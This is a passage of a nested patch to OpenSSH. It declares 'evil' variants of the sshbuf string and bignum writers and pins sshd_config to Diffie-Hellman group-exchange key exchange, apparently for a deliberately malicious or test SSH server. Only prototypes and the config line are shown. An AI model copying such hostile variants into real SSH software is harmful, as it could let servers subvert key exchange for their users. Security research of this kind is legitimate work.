100644 +--- a/sshbuf.h ++++ b/sshbuf.h +@@ -185,6 +185,7 @@ int sshbuf_get_string(struct sshbuf *buf, u_char **valp, size_t *lenp); + int sshbuf_get_cstring(struct sshbuf *buf, char **valp, size_t *lenp); + int sshbuf_get_stringb(struct sshbuf *buf, struct sshbuf *v); + int sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len); ++int sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len); + int sshbuf_put_cstring(struct sshbuf *buf, const char *v); + int sshbuf_put_stringb(struct sshbuf *buf, const struct sshbuf *v); + +@@ -214,6 +215,7 @@ int sshbuf_get_bignum2_bytes_direct(struct sshbuf *buf, + #ifdef WITH_OPENSSL + int sshbuf_get_bignum2(struct sshbuf *buf, BIGNUM **valp); + int sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v); ++int sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v); + # ifdef OPENSSL_HAS_ECC + int sshbuf_get_ec(struct sshbuf *buf, EC_POINT *v, const EC_GROUP *g); + int sshbuf_get_eckey(struct sshbuf *buf, EC_KEY *v); +diff --git a/sshd_config b/sshd_config +index 19b7c91a..82a08747 100644 +--- a/sshd_config ++++ b/sshd_config +@@ -102,6 +102,8 @@ AuthorizedKeysFile .ssh/authorized_keys + #ChrootDirectory none + #VersionAddendum none + ++KexAlgorithms diffie-hellman-group-exchange-sha256 ++ + # no default banner path + #Banner none +